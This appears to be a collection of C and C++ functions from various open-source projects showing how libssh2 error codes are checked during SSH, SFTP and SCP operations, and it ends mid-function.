sftp_error_report(BDRVSSHState *s, const char *fs, ...) { va_list args; va_start(args, fs); error_vprintf(fs, args); if ((s)->sftp) { char *ssh_err; int ssh_err_code; unsigned long sftp_err_code; libssh2_session_last_error((s)->session, &ssh_err, NULL, 0); /* This is not an errno. See <libssh2.h>. */ ssh_err_code = libssh2_session_last_errno((s)->session); /* See <libssh2_sftp.h>. */ sftp_err_code = libssh2_sftp_last_error((s)->sftp); error_printf(": %s (libssh2 error code: %d, sftp error code: %lu)", ssh_err, ssh_err_code, sftp_err_code); } va_end(args); error_printf("\n"); }
QString SshScpSend::send() { QFileInfo src(_source); const char *loclfile=qPrintable(src.absoluteFilePath()); _currentState = ScpPrepare; _local = fopen(loclfile, "rb"); if (!_local) { qDebug() << "ERROR : Can't open local file " << loclfile; return ""; } stat(loclfile, &_fileinfo); /* Send a file via scp. The mode parameter must only have permissions! */ #ifdef DEBUG_SCPSEND qDebug() << "DEBUG : Send to " << qPrintable(_destination + "/" + src.fileName()); #endif sshChannel = libssh2_scp_send(sshClient->session(), qPrintable(_destination + src.fileName()), _fileinfo.st_mode & 0777, (unsigned long)_fileinfo.st_size); if ((!sshChannel) && (libssh2_session_last_errno(sshClient->session()) != LIBSSH2_ERROR_EAGAIN)) { char *errmsg; int errlen; libssh2_session_last_error(sshClient->session(), &errmsg, &errlen, 0); qDebug() << "ERROR : Unable to open a session: " << errmsg; _currentState = ScpError; } #ifdef DEBUG_SCPSEND qDebug() << "DEBUG : End of send function"; #endif return _destination + src.fileName(); }
void FSSftp::CheckSFTPEagain() { int e = libssh2_session_last_errno( sshSession ); if ( e == LIBSSH2_ERROR_EAGAIN ) { return; } throw TransSftpError( e, sftpSession ); }
ShellChannel::SendResponse ShellChannel::sendData(const QByteArray &data) { int rc = libssh2_channel_write(mHandle, data, data.length()); if (rc < 0) { if (rc == -1) rc = libssh2_session_last_errno(mSession->sessionHandle()); if (rc == LIBSSH2_ERROR_EAGAIN) return SendAgain; criticalError(tr("Failed to initialize send a slave request: %1").arg(rc)); return SendFail; } return SendSucceed; }
ShellChannel::ReadReply XferChannel::readBinaryData( int size ) { ReadReply reply; reply.readAgain = false; if ( size <= 0 ) { return reply; } while ( mBinaryReadBuffer.length() < size ) { // Flush anything from the read buffer into the binary buffer int transferred = Tools::unbin( mBinaryReadBuffer, mReadBuffer, size, mReadBuffer.length(), &mLeftoverEscape ); mReadBuffer = mReadBuffer.right( mReadBuffer.size() - transferred ); if ( mBinaryReadBuffer.length() == size ) { break; } // See if there's data waiting to be read, push it into the read buffer (raw) int rc = libssh2_channel_read( mHandle, mScratchBuffer, SSH_SHELL_BUFFER_SIZE ); if ( rc > 0 ) { mReadBuffer.append( mScratchBuffer, rc ); } else if ( rc == LIBSSH2_ERROR_EAGAIN || ( rc == -1 && libssh2_session_last_errno( mSession->sessionHandle() ) == LIBSSH2_ERROR_EAGAIN ) ) { reply.readAgain = true; return reply; } else { criticalError( "Connection closed unexpectedly!" ); } int currentLength = mBinaryReadBuffer.length(); int percent = ( int ) ( ( ( float ) currentLength / size ) * 100 ); mCurrentRequest->handleProgress( percent ); } // If it reaches here, enough data has been read. reply.data = mBinaryReadBuffer; mBinaryReadBuffer.clear(); return reply; }
static void ssh_channel_cb(obfsproxyssh_client_session_t *session) { static const char socks_4_resp[] = { 0x00, /* VN */ SOCKS_4_REQUEST_GRANTED, /* CD */ 0x00, 0x00, /* DSTPORT */ 0x00 ,0x00, 0x00, 0x00 /* DSTIP */ }; obfsproxyssh_t *state = session->client->state; session->ssh_channel = libssh2_channel_direct_tcpip(session->ssh_session, "127.0.0.1", session->orport); if (NULL == session->ssh_channel) { if (LIBSSH2_ERROR_EAGAIN == libssh2_session_last_errno(session->ssh_session)) return; else { log_f(state, "SSH: Error: %s Failed to initialize direct-tcp channel", bdata(session->ssh_addr)); libssh2_session_free(session->ssh_session); session->ssh_session = NULL; session_free(session); return; } } /* Send the SOCKS 4 response */ bufferevent_write(session->socks_ev, socks_4_resp, SOCKS_4_CONNECT_RESPONSE_LEN); /* Renable reading/writing on the buffer event */ bufferevent_enable(session->socks_ev, EV_READ); bufferevent_setcb(session->socks_ev, socks_relay_cb, NULL, socks_event_cb, session); session->socks_is_valid = 1; /* Change the event callback to something that does channel cleanup */ bufferevent_setcb(session->ssh_ev, ssh_read_cb, ssh_write_cb, ssh_relay_event_cb, session); session->libssh2_cb = ssh_relay_cb; }
void * sftpfs_opendir (const vfs_path_t * vpath, GError ** error) { sftpfs_dir_data_t *sftpfs_dir; struct vfs_s_super *super; sftpfs_super_data_t *super_data; const vfs_path_element_t *path_element; LIBSSH2_SFTP_HANDLE *handle; path_element = vfs_path_get_by_index (vpath, -1); if (vfs_s_get_path (vpath, &super, 0) == NULL) return NULL; super_data = (sftpfs_super_data_t *) super->data; while (TRUE) { int libssh_errno; handle = libssh2_sftp_opendir (super_data->sftp_session, sftpfs_fix_filename (path_element->path)); if (handle != NULL) break; libssh_errno = libssh2_session_last_errno (super_data->session); if (libssh_errno != LIBSSH2_ERROR_EAGAIN) { sftpfs_ssherror_to_gliberror (super_data, libssh_errno, error); return NULL; } sftpfs_waitsocket (super_data, error); if (error != NULL && *error != NULL) return NULL; } sftpfs_dir = g_new0 (sftpfs_dir_data_t, 1); sftpfs_dir->handle = handle; sftpfs_dir->super_data = super_data; return (void *) sftpfs_dir; }
bool SFTPChannel::handleOpening() { mHandle = libssh2_sftp_init(mSession->sessionHandle()); if (mHandle == NULL) { int rc = libssh2_session_last_errno(mSession->sessionHandle()); if (rc == LIBSSH2_ERROR_EAGAIN) return true; else { if (rc == LIBSSH2_ERROR_CHANNEL_FAILURE) // Reassign this channel elsewhere setSession(NULL); else criticalError(tr("Failed to open a channel %1: %2").arg((unsigned long)mHandle, 0, 16).arg(rc)); return false; } } setStatus(Open); return true; }
static int uwsgi_ssh_request_file( struct wsgi_request *wsgi_req, char* filepath, struct uwsgi_ssh_mountpoint *usm ) { int sock = -1; int return_status = 0; LIBSSH2_SESSION *session = NULL; if (uwsgi_init_ssh_session(usm, &sock, &session)) { uwsgi_log("[SSH] session initialization failed. Is the SSH server up?\n"); return_status = 500; goto shutdown; } LIBSSH2_SFTP *sftp_session = NULL; do { sftp_session = libssh2_sftp_init(session); if (!sftp_session) { if ((libssh2_session_last_errno(session)) == LIBSSH2_ERROR_EAGAIN) { if (uwsgi_ssh_waitsocket(sock, session)) { return_status = 500; goto shutdown; } } else { uwsgi_error("uwsgi_ssh_request_file()/libssh2_sftp_init()"); return_status = 500; goto shutdown; } } } while (!sftp_session); // Request file stats via SFTP LIBSSH2_SFTP_ATTRIBUTES file_attrs; int rc; while ((rc = libssh2_sftp_stat(sftp_session, filepath, &file_attrs)) == LIBSSH2_ERROR_EAGAIN) { if (uwsgi_ssh_waitsocket(sock, session)) { return_status = 500; goto shutdown; } } if (rc < 0) { // If it fails, requested file could not exist. if (rc == LIBSSH2_ERROR_SFTP_PROTOCOL && libssh2_sftp_last_error(sftp_session) == LIBSSH2_FX_NO_SUCH_FILE) { return_status = 404; } else { uwsgi_error("uwsgi_ssh_request_file()/libssh2_sftp_stat()"); return_status = 500; } goto sftp_shutdown; } if (wsgi_req->if_modified_since_len) { time_t ims = uwsgi_parse_http_date(wsgi_req->if_modified_since, wsgi_req->if_modified_since_len); if (file_attrs.mtime <= (unsigned long)ims) { if (uwsgi_response_prepare_headers(wsgi_req, "304 Not Modified", 16) || uwsgi_response_write_headers_do(wsgi_req)) { uwsgi_error("uwsgi_parse_http_date()/uwsgi_response_prepare_headers(do)()"); } return_status = 500; goto sftp_shutdown; } } if (uwsgi_response_prepare_headers(wsgi_req, "200", 3)) { uwsgi_error("uwsgi_ssh_request_file()/uwsgi_response_prepare_headers()"); return_status = 500; goto sftp_shutdown; } if (uwsgi_response_add_content_length(wsgi_req, file_attrs.filesize)) { uwsgi_error("uwsgi_ssh_request_file()/uwsgi_response_add_content_length()"); return_status = 500; goto sftp_shutdown; } if (uwsgi_response_add_last_modified(wsgi_req, file_attrs.mtime)) { uwsgi_error("uwsgi_ssh_request_file()/uwsgi_response_add_last_modified()"); return_status = 500; goto sftp_shutdown; } size_t mime_type_len = 0; char *mime_type = uwsgi_get_mime_type(filepath, strlen(filepath), &mime_type_len); if (mime_type) { if (uwsgi_response_add_content_type(wsgi_req, mime_type, mime_type_len)) { uwsgi_error("uwsgi_ssh_request_file()/uwsgi_response_add_content_type()"); // goto sftp_shutdown; } } // Request a file via SFTP LIBSSH2_SFTP_HANDLE *sftp_handle = NULL; do { sftp_handle = libssh2_sftp_open(sftp_session, filepath, LIBSSH2_FXF_READ, 0); if (!sftp_handle) { if (libssh2_session_last_errno(session) != LIBSSH2_ERROR_EAGAIN) { uwsgi_error("uwsgi_ssh_request_file()/libssh2_sftp_open()"); return_status = 500; goto sftp_shutdown; } else { if (uwsgi_ssh_waitsocket(sock, session)) { return_status = 500; goto sftp_shutdown; } } } } while (!sftp_handle); size_t buffer_size = uwsgi.page_size; void *buffer = alloca(buffer_size); libssh2_uint64_t read_size = 0; while (read_size < file_attrs.filesize) { rc = libssh2_sftp_read(sftp_handle, buffer, buffer_size); if (rc == LIBSSH2_ERROR_EAGAIN) { if (uwsgi_ssh_waitsocket(sock, session)) { return_status = 500; goto sftp_shutdown; } } else if (rc < 0) { uwsgi_error("uwsgi_ssh_request_file()/libssh2_sftp_read()"); break; } else { read_size += rc; if (uwsgi_response_write_body_do(wsgi_req, buffer, rc)) { uwsgi_error("uwsgi_ssh_request_file()/uwsgi_response_write_body_do()"); break; } } } while ((rc = libssh2_sftp_close(sftp_handle)) == LIBSSH2_ERROR_EAGAIN) { if (uwsgi_ssh_waitsocket(sock, session)) { return_status = 500; goto sftp_shutdown; } }; if (rc < 0) { uwsgi_error("uwsgi_ssh_request_file()/libssh2_sftp_close()"); } sftp_shutdown: while ((rc = libssh2_sftp_shutdown(sftp_session)) == LIBSSH2_ERROR_EAGAIN) { uwsgi_ssh_waitsocket(sock, session); } if (rc < 0) { uwsgi_error("uwsgi_ssh_request_file()/libssh2_sftp_shutdown()"); } shutdown: while (libssh2_session_disconnect(session, "Normal Shutdown, thank you!") == LIBSSH2_ERROR_EAGAIN) { uwsgi_ssh_waitsocket(sock, session); } libssh2_session_free(session); close(sock); libssh2_exit(); return return_status; }
bool SFTPChannel::updateReadFile() { int rc; if (mRequestState == Beginning) { QByteArray path = mCurrentRequest->getPath().toUtf8(); mOperationHandle = libssh2_sftp_open_ex(mHandle, path, path.length(), LIBSSH2_FXF_READ, 0, LIBSSH2_SFTP_OPENFILE); if (mOperationHandle) mRequestState = Sizing; else if ((rc = libssh2_session_last_errno(mSession->sessionHandle())) == LIBSSH2_ERROR_EAGAIN) return true; // try again else { criticalError(tr("Failed to open remote file for reading: %1").arg(rc)); return false; } } if (mRequestState == Sizing) { LIBSSH2_SFTP_ATTRIBUTES attr; int rc = libssh2_sftp_fstat_ex(mOperationHandle, &attr, 0); if (rc == LIBSSH2_ERROR_EAGAIN) return true; else if (rc < 0) { criticalError(tr("Failed to stat remote file: %1").arg(rc)); return false; } mOperationSize = attr.filesize; if (mOperationSize == 0) mOperationSize = 1; mRequestState = Reading; } if (mRequestState == Reading) { char buffer[4096]; rc = libssh2_sftp_read(mOperationHandle, buffer, sizeof(buffer)); if (rc == LIBSSH2_ERROR_EAGAIN) return true; // Try again else if (rc == 0) mRequestState = Finishing; else if (rc < 0) { criticalError(tr("Error while reading file contents: %1").arg(rc)); return false; } else // Got some data { mCurrentRequest->addContent(buffer, rc); mCurrentRequest->triggerProgress((mCurrentRequest->getContent().length() * 100) / mOperationSize); } } if (mRequestState == Finishing) { rc = libssh2_sftp_close_handle(mOperationHandle); if (rc == LIBSSH2_ERROR_EAGAIN) return true; else if (rc < 0) { criticalError(tr("Failed to cleanly close SFTP file: %1").arg(rc)); return false; } // Success! Send a response and finish up. QVariantMap finalResult; finalResult.insert("content", mCurrentRequest->getContent()); mCurrentRequest->triggerSuccess(finalResult); return false; } return true; }
bool SFTPChannel::updateWriteFile() { int rc; if (mRequestState == Beginning) { QByteArray path = mCurrentRequest->getPath().toUtf8(); mOperationHandle = libssh2_sftp_open_ex(mHandle, path, path.length(), LIBSSH2_FXF_WRITE | LIBSSH2_FXF_TRUNC | LIBSSH2_FXF_CREAT, 0644, LIBSSH2_SFTP_OPENFILE); if (mOperationHandle) mRequestState = Writing; else if ((rc = libssh2_session_last_errno(mSession->sessionHandle())) == LIBSSH2_ERROR_EAGAIN) return true; // try again else { criticalError(tr("Failed to open remote file for writing: %1").arg(rc)); return false; } mOperationCursor = 0; } if (mRequestState == Writing) { const QByteArray& content = mCurrentRequest->getContent(); rc = libssh2_sftp_write(mOperationHandle, content.constData() + mOperationCursor, content.length() - mOperationCursor); if (rc == LIBSSH2_ERROR_EAGAIN) return true; // Try again else if (rc < 0) { criticalError(tr("Error while writing file contents: %1").arg(rc)); return false; } else // Wrote some data { mOperationCursor += rc; mCurrentRequest->triggerProgress((mOperationCursor * 100) / content.length()); } if (mOperationCursor >= content.length()) mRequestState = Finishing; } if (mRequestState == Finishing) { rc = libssh2_sftp_close_handle(mOperationHandle); if (rc == LIBSSH2_ERROR_EAGAIN) return true; else if (rc < 0) { criticalError(tr("Failed to cleanly close SFTP file: %1").arg(rc)); return false; } // Success! Send a response and finish up. QVariantMap finalResult; finalResult.insert("revision", mCurrentRequest->getRevision()); finalResult.insert("undoLength", mCurrentRequest->getUndoLength()); finalResult.insert("checksum", BaseFile::getChecksum(mCurrentRequest->getContent())); mCurrentRequest->triggerSuccess(finalResult); return false; } return true; }
int main(int argc, char *argv[]) { unsigned long hostaddr; int sock, i, auth_pw = 1; struct sockaddr_in sin; const char *fingerprint; LIBSSH2_SESSION *session; const char *username="******"; const char *password="******"; const char *loclfile="sftp_write_nonblock.c"; const char *sftppath="/tmp/sftp_write_nonblock.c"; int rc; FILE *local; LIBSSH2_SFTP *sftp_session; LIBSSH2_SFTP_HANDLE *sftp_handle; char mem[1024]; size_t nread; char *ptr; #ifdef WIN32 WSADATA wsadata; WSAStartup(WINSOCK_VERSION, &wsadata); #endif if (argc > 1) { hostaddr = inet_addr(argv[1]); } else { hostaddr = htonl(0x7F000001); } if (argc > 2) { username = argv[2]; } if (argc > 3) { password = argv[3]; } if (argc > 4) { loclfile = argv[4]; } if (argc > 5) { sftppath = argv[5]; } local = fopen(loclfile, "rb"); if (!local) { printf("Can't local file %s\n", loclfile); goto shutdown; } /* * The application code is responsible for creating the socket * and establishing the connection */ sock = socket(AF_INET, SOCK_STREAM, 0); sin.sin_family = AF_INET; sin.sin_port = htons(22); sin.sin_addr.s_addr = hostaddr; if (connect(sock, (struct sockaddr*)(&sin), sizeof(struct sockaddr_in)) != 0) { fprintf(stderr, "failed to connect!\n"); return -1; } /* We set the socket non-blocking. We do it after the connect just to simplify the example code. */ #ifdef F_SETFL /* FIXME: this can/should be done in a more portable manner */ rc = fcntl(sock, F_GETFL, 0); fcntl(sock, F_SETFL, rc | O_NONBLOCK); #else #error "add support for setting the socket non-blocking here" #endif /* Create a session instance */ session = libssh2_session_init(); if (!session) return -1; /* Since we have set non-blocking, tell libssh2 we are non-blocking */ libssh2_session_set_blocking(session, 0); /* ... start it up. This will trade welcome banners, exchange keys, * and setup crypto, compression, and MAC layers */ while ((rc = libssh2_session_startup(session, sock)) == LIBSSH2_ERROR_EAGAIN); if (rc) { fprintf(stderr, "Failure establishing SSH session: %d\n", rc); return -1; } /* At this point we havn't yet authenticated. The first thing to do * is check the hostkey's fingerprint against our known hosts Your app * may have it hard coded, may go to a file, may present it to the * user, that's your call */ fingerprint = libssh2_hostkey_hash(session, LIBSSH2_HOSTKEY_HASH_MD5); printf("Fingerprint: "); for(i = 0; i < 16; i++) { printf("%02X ", (unsigned char)fingerprint[i]); } printf("\n"); if (auth_pw) { /* We could authenticate via password */ while ((rc = libssh2_userauth_password(session, username, password)) == LIBSSH2_ERROR_EAGAIN); if (rc) { printf("Authentication by password failed.\n"); goto shutdown; } } else { /* Or by public key */ while ((rc = libssh2_userauth_publickey_fromfile(session, username, "/home/username/.ssh/id_rsa.pub", "/home/username/.ssh/id_rsa", password)) == LIBSSH2_ERROR_EAGAIN); if (rc) { printf("\tAuthentication by public key failed\n"); goto shutdown; } } fprintf(stderr, "libssh2_sftp_init()!\n"); do { sftp_session = libssh2_sftp_init(session); if ((!sftp_session) && (libssh2_session_last_errno(session) != LIBSSH2_ERROR_EAGAIN)) { fprintf(stderr, "Unable to init SFTP session\n"); goto shutdown; } } while (!sftp_session); /* Since we have set non-blocking, tell libssh2 we are non-blocking */ libssh2_session_set_blocking(session, 0); fprintf(stderr, "libssh2_sftp_open()!\n"); /* Request a file via SFTP */ do { sftp_handle = libssh2_sftp_open(sftp_session, sftppath, LIBSSH2_FXF_WRITE|LIBSSH2_FXF_CREAT|LIBSSH2_FXF_TRUNC, LIBSSH2_SFTP_S_IRUSR|LIBSSH2_SFTP_S_IWUSR| LIBSSH2_SFTP_S_IRGRP|LIBSSH2_SFTP_S_IROTH); if ((!sftp_handle) && (libssh2_session_last_errno(session) != LIBSSH2_ERROR_EAGAIN)) { fprintf(stderr, "Unable to open file with SFTP\n"); goto shutdown; } } while (!sftp_handle); fprintf(stderr, "libssh2_sftp_open() is done, now send data!\n"); do { nread = fread(mem, 1, sizeof(mem), local); if (nread <= 0) { /* end of file */ break; } ptr = mem; do { /* write data in a loop until we block */ while ((rc = libssh2_sftp_write(sftp_handle, ptr, nread)) == LIBSSH2_ERROR_EAGAIN) { ; } ptr += rc; nread -= nread; } while (rc > 0); } while (1); fclose(local); libssh2_sftp_close(sftp_handle); libssh2_sftp_shutdown(sftp_session); shutdown: while ((rc = libssh2_session_disconnect(session, "Normal Shutdown, Thank you for playing")) == LIBSSH2_ERROR_EAGAIN); libssh2_session_free(session); #ifdef WIN32 Sleep(1000); closesocket(sock); #else sleep(1); close(sock); #endif printf("all done\n"); return 0; }
/* * scp_send() * * Send a file using SCP * */ static LIBSSH2_CHANNEL * scp_send(LIBSSH2_SESSION * session, const char *path, int mode, libssh2_int64_t size, time_t mtime, time_t atime) { int cmd_len; int rc; int tmp_err_code; const char *tmp_err_msg; if (session->scpSend_state == libssh2_NB_state_idle) { session->scpSend_command_len = _libssh2_shell_quotedsize(path) + sizeof("scp -t ") + ((mtime || atime)?1:0); session->scpSend_command = LIBSSH2_ALLOC(session, session->scpSend_command_len); if (!session->scpSend_command) { _libssh2_error(session, LIBSSH2_ERROR_ALLOC, "Unable to allocate a command buffer for scp session"); return NULL; } snprintf((char *)session->scpSend_command, session->scpSend_command_len, "scp -%st ", (mtime || atime)?"p":""); cmd_len = strlen((char *)session->scpSend_command); (void)shell_quotearg(path, &session->scpSend_command[cmd_len], session->scpSend_command_len - cmd_len); session->scpSend_command[session->scpSend_command_len - 1] = '\0'; _libssh2_debug(session, LIBSSH2_TRACE_SCP, "Opening channel for SCP send"); /* Allocate a channel */ session->scpSend_state = libssh2_NB_state_created; } if (session->scpSend_state == libssh2_NB_state_created) { session->scpSend_channel = _libssh2_channel_open(session, "session", sizeof("session") - 1, LIBSSH2_CHANNEL_WINDOW_DEFAULT, LIBSSH2_CHANNEL_PACKET_DEFAULT, NULL, 0); if (!session->scpSend_channel) { if (libssh2_session_last_errno(session) != LIBSSH2_ERROR_EAGAIN) { /* previous call set libssh2_session_last_error(), pass it through */ LIBSSH2_FREE(session, session->scpSend_command); session->scpSend_command = NULL; session->scpSend_state = libssh2_NB_state_idle; } else { _libssh2_error(session, LIBSSH2_ERROR_EAGAIN, "Would block starting up channel"); } return NULL; } session->scpSend_state = libssh2_NB_state_sent; } if (session->scpSend_state == libssh2_NB_state_sent) { /* Request SCP for the desired file */ rc = _libssh2_channel_process_startup(session->scpSend_channel, "exec", sizeof("exec") - 1, (char *) session->scpSend_command, session->scpSend_command_len); if (rc == LIBSSH2_ERROR_EAGAIN) { _libssh2_error(session, LIBSSH2_ERROR_EAGAIN, "Would block requesting SCP startup"); return NULL; } else if (rc) { /* previous call set libssh2_session_last_error(), pass it through */ LIBSSH2_FREE(session, session->scpSend_command); session->scpSend_command = NULL; _libssh2_error(session, LIBSSH2_ERROR_SCP_PROTOCOL, "Unknown error while getting error string"); goto scp_send_error; } LIBSSH2_FREE(session, session->scpSend_command); session->scpSend_command = NULL; session->scpSend_state = libssh2_NB_state_sent1; } if (session->scpSend_state == libssh2_NB_state_sent1) { /* Wait for ACK */ rc = _libssh2_channel_read(session->scpSend_channel, 0, (char *) session->scpSend_response, 1); if (rc == LIBSSH2_ERROR_EAGAIN) { _libssh2_error(session, LIBSSH2_ERROR_EAGAIN, "Would block waiting for response from remote"); return NULL; } else if (rc < 0) { _libssh2_error(session, rc, "SCP failure"); goto scp_send_error; } else if(!rc) /* remain in the same state */ goto scp_send_empty_channel; else if (session->scpSend_response[0] != 0) { _libssh2_error(session, LIBSSH2_ERROR_SCP_PROTOCOL, "Invalid ACK response from remote"); goto scp_send_error; } if (mtime || atime) { /* Send mtime and atime to be used for file */ session->scpSend_response_len = snprintf((char *) session->scpSend_response, LIBSSH2_SCP_RESPONSE_BUFLEN, "T%ld 0 %ld 0\n", (long)mtime, (long)atime); _libssh2_debug(session, LIBSSH2_TRACE_SCP, "Sent %s", session->scpSend_response); } session->scpSend_state = libssh2_NB_state_sent2; } /* Send mtime and atime to be used for file */ if (mtime || atime) { if (session->scpSend_state == libssh2_NB_state_sent2) { rc = _libssh2_channel_write(session->scpSend_channel, 0, session->scpSend_response, session->scpSend_response_len); if (rc == LIBSSH2_ERROR_EAGAIN) { _libssh2_error(session, LIBSSH2_ERROR_EAGAIN, "Would block sending time data for SCP file"); return NULL; } else if (rc != (int)session->scpSend_response_len) { _libssh2_error(session, LIBSSH2_ERROR_SOCKET_SEND, "Unable to send time data for SCP file"); goto scp_send_error; } session->scpSend_state = libssh2_NB_state_sent3; } if (session->scpSend_state == libssh2_NB_state_sent3) { /* Wait for ACK */ rc = _libssh2_channel_read(session->scpSend_channel, 0, (char *) session->scpSend_response, 1); if (rc == LIBSSH2_ERROR_EAGAIN) { _libssh2_error(session, LIBSSH2_ERROR_EAGAIN, "Would block waiting for response"); return NULL; } else if (rc < 0) { _libssh2_error(session, rc, "SCP failure"); goto scp_send_error; } else if(!rc) /* remain in the same state */ goto scp_send_empty_channel; else if (session->scpSend_response[0] != 0) { _libssh2_error(session, LIBSSH2_ERROR_SCP_PROTOCOL, "Invalid SCP ACK response"); goto scp_send_error; } session->scpSend_state = libssh2_NB_state_sent4; } } else { if (session->scpSend_state == libssh2_NB_state_sent2) { session->scpSend_state = libssh2_NB_state_sent4; } } if (session->scpSend_state == libssh2_NB_state_sent4) { /* Send mode, size, and basename */ const char *base = strrchr(path, '/'); if (base) base++; else base = path; session->scpSend_response_len = snprintf((char *) session->scpSend_response, LIBSSH2_SCP_RESPONSE_BUFLEN, "C0%o %" LIBSSH2_INT64_T_FORMAT " %s\n", mode, size, base); _libssh2_debug(session, LIBSSH2_TRACE_SCP, "Sent %s", session->scpSend_response); session->scpSend_state = libssh2_NB_state_sent5; } if (session->scpSend_state == libssh2_NB_state_sent5) { rc = _libssh2_channel_write(session->scpSend_channel, 0, session->scpSend_response, session->scpSend_response_len); if (rc == LIBSSH2_ERROR_EAGAIN) { _libssh2_error(session, LIBSSH2_ERROR_EAGAIN, "Would block send core file data for SCP file"); return NULL; } else if (rc != (int)session->scpSend_response_len) { _libssh2_error(session, LIBSSH2_ERROR_SOCKET_SEND, "Unable to send core file data for SCP file"); goto scp_send_error; } session->scpSend_state = libssh2_NB_state_sent6; } if (session->scpSend_state == libssh2_NB_state_sent6) { /* Wait for ACK */ rc = _libssh2_channel_read(session->scpSend_channel, 0, (char *) session->scpSend_response, 1); if (rc == LIBSSH2_ERROR_EAGAIN) { _libssh2_error(session, LIBSSH2_ERROR_EAGAIN, "Would block waiting for response"); return NULL; } else if (rc < 0) { _libssh2_error(session, LIBSSH2_ERROR_SCP_PROTOCOL, "Invalid ACK response from remote"); goto scp_send_error; } else if (rc == 0) goto scp_send_empty_channel; else if (session->scpSend_response[0] != 0) { size_t err_len; char *err_msg; err_len = _libssh2_channel_packet_data_len(session->scpSend_channel, 0); err_msg = LIBSSH2_ALLOC(session, err_len + 1); if (!err_msg) { _libssh2_error(session, LIBSSH2_ERROR_ALLOC, "failed to get memory"); goto scp_send_error; } /* Read the remote error message */ rc = _libssh2_channel_read(session->scpSend_channel, 0, err_msg, err_len); if (rc > 0) { err_msg[err_len]=0; _libssh2_debug(session, LIBSSH2_TRACE_SCP, "got %02x %s", session->scpSend_response[0], err_msg); } LIBSSH2_FREE(session, err_msg); _libssh2_error(session, LIBSSH2_ERROR_SCP_PROTOCOL, "failed to send file"); goto scp_send_error; } } session->scpSend_state = libssh2_NB_state_idle; return session->scpSend_channel; scp_send_empty_channel: /* the code only jumps here as a result of a zero read from channel_read() so we check EOF status to avoid getting stuck in a loop */ if(libssh2_channel_eof(session->scpSend_channel)) { _libssh2_error(session, LIBSSH2_ERROR_SCP_PROTOCOL, "Unexpected channel close"); } else return session->scpSend_channel; /* fall-through */ scp_send_error: tmp_err_code = session->err_code; tmp_err_msg = session->err_msg; while (libssh2_channel_free(session->scpSend_channel) == LIBSSH2_ERROR_EAGAIN); session->err_code = tmp_err_code; session->err_msg = tmp_err_msg; session->scpSend_channel = NULL; session->scpSend_state = libssh2_NB_state_idle; return NULL; }
int main(int argc, char *argv[]) { unsigned long hostaddr; int sock, i, auth_pw = 1; struct sockaddr_in sin; const char *fingerprint; LIBSSH2_SESSION *session = NULL; LIBSSH2_CHANNEL *channel; const char *username="******"; const char *password="******"; const char *loclfile="scp_write.c"; const char *scppath="/tmp/TEST"; FILE *local; int rc; #if defined(HAVE_IOCTLSOCKET) long flag = 1; #endif char mem[1024*100]; size_t nread; char *ptr; struct stat fileinfo; time_t start; long total = 0; int duration; #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(2,0), &wsadata); #endif if (argc > 1) { hostaddr = inet_addr(argv[1]); } else { hostaddr = htonl(0x7F000001); } if (argc > 2) { username = argv[2]; } if (argc > 3) { password = argv[3]; } if(argc > 4) { loclfile = argv[4]; } if (argc > 5) { scppath = argv[5]; } rc = libssh2_init (0); if (rc != 0) { fprintf (stderr, "libssh2 initialization failed (%d)\n", rc); return 1; } local = fopen(loclfile, "rb"); if (!local) { fprintf(stderr, "Can't local file %s\n", loclfile); return -1; } stat(loclfile, &fileinfo); /* Ultra basic "connect to port 22 on localhost" * Your code is responsible for creating the socket establishing the * connection */ sock = socket(AF_INET, SOCK_STREAM, 0); sin.sin_family = AF_INET; sin.sin_port = htons(22); sin.sin_addr.s_addr = hostaddr; if (connect(sock, (struct sockaddr*)(&sin), sizeof(struct sockaddr_in)) != 0) { fprintf(stderr, "failed to connect!\n"); return -1; } /* Create a session instance */ session = libssh2_session_init(); if(!session) return -1; /* Since we have set non-blocking, tell libssh2 we are non-blocking */ libssh2_session_set_blocking(session, 0); /* ... start it up. This will trade welcome banners, exchange keys, * and setup crypto, compression, and MAC layers */ while ((rc = libssh2_session_startup(session, sock)) == LIBSSH2_ERROR_EAGAIN); if(rc) { fprintf(stderr, "Failure establishing SSH session: %d\n", rc); return -1; } /* At this point we havn't yet authenticated. The first thing to do * is check the hostkey's fingerprint against our known hosts Your app * may have it hard coded, may go to a file, may present it to the * user, that's your call */ fingerprint = libssh2_hostkey_hash(session, LIBSSH2_HOSTKEY_HASH_SHA1); fprintf(stderr, "Fingerprint: "); for(i = 0; i < 20; i++) { fprintf(stderr, "%02X ", (unsigned char)fingerprint[i]); } fprintf(stderr, "\n"); if (auth_pw) { /* We could authenticate via password */ while ((rc = libssh2_userauth_password(session, username, password)) == LIBSSH2_ERROR_EAGAIN); if (rc) { fprintf(stderr, "Authentication by password failed.\n"); goto shutdown; } } else { /* Or by public key */ while ((rc = libssh2_userauth_publickey_fromfile(session, username, "/home/username/.ssh/id_rsa.pub", "/home/username/.ssh/id_rsa", password)) == LIBSSH2_ERROR_EAGAIN); if (rc) { fprintf(stderr, "\tAuthentication by public key failed\n"); goto shutdown; } } /* Send a file via scp. The mode parameter must only have permissions! */ do { channel = libssh2_scp_send(session, scppath, fileinfo.st_mode & 0777, (unsigned long)fileinfo.st_size); if ((!channel) && (libssh2_session_last_errno(session) != LIBSSH2_ERROR_EAGAIN)) { char *err_msg; libssh2_session_last_error(session, &err_msg, NULL, 0); fprintf(stderr, "%s\n", err_msg); goto shutdown; } } while (!channel); fprintf(stderr, "SCP session waiting to send file\n"); start = time(NULL); do { nread = fread(mem, 1, sizeof(mem), local); if (nread <= 0) { /* end of file */ break; } ptr = mem; total += nread; do { /* write the same data over and over, until error or completion */ rc = libssh2_channel_write(channel, ptr, nread); if (LIBSSH2_ERROR_EAGAIN == rc) { /* must loop around */ continue; } else if (rc < 0) { fprintf(stderr, "ERROR %d\n", rc); break; } else { /* rc indicates how many bytes were written this time */ nread -= rc; ptr += rc; } } while (nread); } while (!nread); /* only continue if nread was drained */ duration = (int)(time(NULL)-start); printf("%ld bytes in %d seconds makes %.1f bytes/sec\n", total, duration, total/(double)duration); fprintf(stderr, "Sending EOF\n"); while (libssh2_channel_send_eof(channel) == LIBSSH2_ERROR_EAGAIN); fprintf(stderr, "Waiting for EOF\n"); while (libssh2_channel_wait_eof(channel) == LIBSSH2_ERROR_EAGAIN); fprintf(stderr, "Waiting for channel to close\n"); while (libssh2_channel_wait_closed(channel) == LIBSSH2_ERROR_EAGAIN); libssh2_channel_free(channel); channel = NULL; shutdown: while (libssh2_session_disconnect(session, "Normal Shutdown, Thank you for playing") == LIBSSH2_ERROR_EAGAIN); libssh2_session_free(session); #ifdef 